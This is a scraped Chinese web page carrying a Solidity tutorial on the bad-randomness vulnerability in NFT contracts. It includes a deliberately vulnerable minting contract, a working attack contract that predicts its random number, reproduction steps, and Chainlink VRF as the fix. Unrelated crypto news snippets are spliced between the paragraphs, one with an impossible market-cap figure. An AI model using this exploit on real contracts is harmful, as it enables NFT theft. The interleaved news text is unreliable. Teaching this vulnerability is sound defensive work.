我最近在重新學solidity,鞏固一下細節,也寫一個“WTFSolidity極簡入門”,供小白們使用,每周更新1-3講。
這一講,我們將介紹智能合約的壞隨機數漏洞和預防方法,這個漏洞經常在NFT和GameFi中出現,包括Meebits,Loots,WolfGame等。
偽隨機數
很多以太坊上的應用都需要用到隨機數,例如NFT隨機抽取tokenId、抽盲盒、gamefi戰斗中隨機分勝負等等。但是由于以太坊上所有數據都是公開透明且確定性的,它沒有其他編程語言一樣給開發者提供生成隨機數的方法,例如random()。很多項目方不得不使用鏈上的偽隨機數生成方法,例如blockhash()和keccak256()方法。
壞隨機數漏洞:攻擊者可以事先計算這些偽隨機數的結果,從而達到他們想要的目的,例如鑄造任何他們想要的稀有NFT而非隨機抽取。更多的內容可以閱讀WTFSolidity極簡教程第39講:偽隨機數。
goblintown.wtf系列NFT24小時交易額為151.15萬美元:金色財經消息,據NFTGo.io數據顯示,goblintown.wtf系列NFT總市值達5353.65萬億美元,在所有NFT項目總市值排名中位列第42;其24小時交易額為151.15萬美元,增幅達22.03%。截止發稿時,該系列NFT當前地板價為2.95,跌幅達33.11%ETH。[2022/6/15 4:28:57]
壞隨機數案例
下面我們學習一個有壞隨機數漏洞的NFT合約:BadRandomness.sol。
contract?BadRandomness?is?ERC721?{????uint256?totalSupply;????//?構造函數,初始化NFT合集的名稱、代號????constructor()?ERC721("",?""){}????//?鑄造函數:當輸入的?luckyNumber?等于隨機數時才能mint????function?luckyMint(uint256?luckyNumber)?external?{????????uint256?randomNumber?=?uint256(keccak256(abi.encodePacked(blockhash(block.number?-?1),?block.timestamp)))?%?100;?//?get?bad?random?number????????require(randomNumber?==?luckyNumber,?"Better?luck?next?time!");????????_mint(msg.sender,?totalSupply);?//?mint????????totalSupply++;????}}
OpenSea上Goblintown.wtf NFT系列地板價達到8ETH:6月2日消息,據OpenSea數據,目前Goblintown.wtf NFT系列地板價今日最高漲至9ETH,目前為8ETH,近7日交易量逾13135枚ETH,累計交易量為21800枚ETH。[2022/6/2 3:58:52]
它有一個主要的鑄造函數luckyMint(),用戶調用時輸入一個0-99的數字,如果和鏈上生成的偽隨機數randomNumber相等,即可鑄造幸運NFT。偽隨機數使用blockhash和block.timestamp聲稱。這個漏洞在于用戶可以完美預測生成的隨機數并鑄造NFT。
下面我們寫個攻擊合約Attack.sol。
contract?Attack?{????function?attackMint(BadRandomness?nftAddr)?external?{????????//?提前計算隨機數????????uint256?luckyNumber?=?uint256(????????????keccak256(abi.encodePacked(blockhash(block.number?-?1),?block.timestamp))????????)?%?100;????????//?利用?luckyNumber?攻擊????????nftAddr.luckyMint(luckyNumber);????}}
仿goblintown.wtf的NFT項目進入OpenSea交易榜前五:金色財經消息,據OpenSea數據顯示,仿goblintown.wtf(與其畫風相似)的NFT項目zombiestown.wtf 24小時交易額達到578.7ETH,進入OpenSea 24小時交易額排行第五名。截至目前發稿時,zombiestown.wtf的地板價為0.14ETH。行情波動較大,請做好風險控制。
此前今日上午消息,goblintown.wtf NFT系列地板價突破8ETH,24小時交易額排名在OpenSea達到第一。[2022/6/2 3:58:28]
攻擊函數attackMint()中的參數為BadRandomness合約地址。在其中,我們計算了隨機數luckyNumber,然后將它作為參數輸入到luckyMint()函數完成攻擊。由于attackMint()和luckyMint()將在同一個區塊中調用,blockhash和block.timestamp是相同的,利用他們生成的隨機數也相同。
goblintown.wtf NFT系列地板價突破8ETH,24小時交易額排名達到第一:金色財經消息,據OpenSea數據顯示,goblintown.wtf NFT系列地板價突破8ETH,目前為8.2ETH,24小時的交易額為4997.18ETH,24小時交易額在OpenSea排名達到第一。[2022/6/2 3:58:03]
Remix復現
由于Remix自帶的RemixVM不支持blockhash函數,因此你需要將合約部署到以太坊測試鏈上進行復現。
部署BadRandomness合約。
部署Attack合約。
將BadRandomness合約地址作為參數傳入到Attack合約的attackMint()函數并調用,完成攻擊。
調用BadRandomness合約的balanceOf查看Attack合約NFT余額,確認攻擊成功。
預防方法
我們通常使用預言機項目提供的鏈下隨機數來預防這類漏洞,例如ChainlinkVRF。這類隨機數從鏈下生成,然后上傳到鏈上,從而保證隨機數不可預測。更多介紹可以閱讀WTFSolidity極簡教程第39講:偽隨機數。
總結
這一講我們介紹了壞隨機數漏洞,并介紹了一個簡單的預防方法:使用預言機項目提供的鏈下隨機數。NFT和GameFi項目方應避免使用鏈上偽隨機數進行抽獎,以防被黑客利用。
推特:@0xAA_Science|@WTFAcademy_
社區:Discord|微信群|官網wtf.academy
所有代碼和教程開源在github:?github.com/AmazingAng/WTFSolidity
來源:bress
Tags:INTNFTWTFUCKcointiger官網下載最新版本TOPDOG Vault (NFTX)Dophins.wtfLouie Duck Token
對蘋果來說,2022年或許是平淡的一年。iPhone14系列稱不上驚喜,供應鏈也頻頻出問題。而明年的蘋果,可能要迎來一個重磅產品——混合現實頭顯。這也是被外界看作元宇宙入口的產品.
1900/1/1 0:00:00這個長文系列的第一篇休閑破冰類游戲發出后,反響比預計的要熱烈,看的出經過了10個月的鏈游熊市,玩家們看到一個項目已經不再是開頭就問:怎么賺錢最快?而是先思考和判斷值不值得深度介入.
1900/1/1 0:00:00FTX崩潰的影響才剛剛開始,在去中心化金融中,支持無擔保貸款的平臺相對于擁有數百萬貸款的抵押貸款平臺的風險敞口要大,鎖定的總價值也在下滑.
1900/1/1 0:00:00本文是筆者在中國信通院2022年開源產業大會上的演講內容總結,主要探討了幾個方面的內容:一是Web3的緣起與概念;二是Web3與開源的關系.
1900/1/1 0:00:00作者:Frank,ForesightNews10月31日,香港特區政府發表虛擬資產政策宣言,闡明政府為在香港發展具活力的虛擬資產行業和生態系統而訂定的政策立場和方針.
1900/1/1 0:00:00官網 https://movectf.movebit.xyz/Git:https://github.com/shanxuanchen/MoveCTF 題目1 第一題是checkin題.
1900/1/1 0:00:00